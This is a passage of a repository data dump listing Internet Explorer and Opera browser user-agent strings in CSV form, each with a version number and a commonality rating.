2.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 1.1.4322),11,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MANMJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MSBrowserIE9),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; SiteKiosk 7.8 Build 332),11,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUSMSNIP; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0; Tablet PC 2.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; WebMoney Advisor),11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; 909),,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C; EIE10;ENUSWOL),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTbORJ/5.15.23.36191; EIE11;ENUSMCM),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0;WUID=43B1FA69689B48DFA6462D9BEDCC718C;WTB=6533),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; chromeframe/28.0.1500.95; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib/5.0\\0195; Engine/4.00195; 89670803),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; BRI/2; msn OptimizedIE8;ENUS),8,Uncommon\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1) (http://name911.com),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; FunWebProducts; AskTbVDJ/5.14.1.20007; .NET4.0E; BOIE9;ENUS),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MDDCJS),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMNTDF; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MAAU; MAAU),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MATP; MATP),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729),7,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/7.0; MDDRJS),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:RESERVED; .NET CLR 1.1.4322; Tablet PC 2.0),11,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5;MSN 11;MSN 11.5;MSN 11.6; MSNbMSNI; MSNmen-us; MSNcOTH) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:MANAGED; GWX:QUALIFIED),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; GWX:MANAGED),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; WebMoney Advisor),11,Uncommon\nhttp://myip.ms/view/comp_browseragents/23/Mozilla_5_0_compatible_MSIE_9_0_Windows_NT_6_0_Trident_5_0.html,,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee),10,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;FRCA; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; chromeframe/29.0.1547.76; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib/5.0\\0195; Engine/4.00195; 89670803),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2; MS-RTC LM 8; MS-RTC S; .NET CLR 1.1.4322),7,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0),9,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 521) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.2),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENAU; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; FunWebProducts; yie11; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI/2),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\n"
  },
  {
    "path": "User Agents/csv/opera.csv",
    "content": "ua,version,commonality\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Very common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Very common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Common\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Common\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Common\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Common\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.39\",47,Common\nOpera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14,12,Common\n\"Mozilla/5.0 (Linux; Android; 4.1.2; GT-I9100 Build/000000) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1234.12 Mobile Safari/537.22 OPR/14.0.123.123\",14,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Common\nOpera/9.80 (X11; Linux zvav; U; en) Presto/2.12.423 Version/12.16,12,Common\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.01,8,Common\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en],7,Common\nOpera/9.80 (Macintosh; Intel Mac OS X 10.10.5) Presto/2.12.388 Version/12.16,12,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2130.80\",36,Common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60\",26,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50,8,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60\",26,Average\nOpera/9.80 (X11; Linux zvav; U; en) Presto/2.8.119 Version/11.10,11,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Average\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Average\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01,12,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2130.80\",36,Average\nOpera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Average\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.17,12,Average\n\"Mozilla/5.0 (Linux; U; Android 5.0.2; zh-CN; Redmi Note 3 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 OPR/11.2.3.102637 Mobile Safari/537.36\",11.2,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Average\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17,12,Average\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.17,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60\",26,Average\nOpera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Average\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52,11,Average\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12 Version/12.16,12,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Average\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.17,12,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2192.105088\",37,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Average\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Average\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Average\nOpera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1,9,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Average\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Average\nOpera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62,11,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Average\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.10,10,Average\nOpera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10,11,Average\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01,11,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Average\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.14,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32\",46,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.29 Safari/537.36 OPR/15.0.1147.24 (Edition Next)\",15,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.92\",35,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36 OPR/15.0.1147.130\",15,Average\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15,12,Average\nOpera/9.50 (Nintendo DSi; Opera/507; U; en-US),9,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.49\",18,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 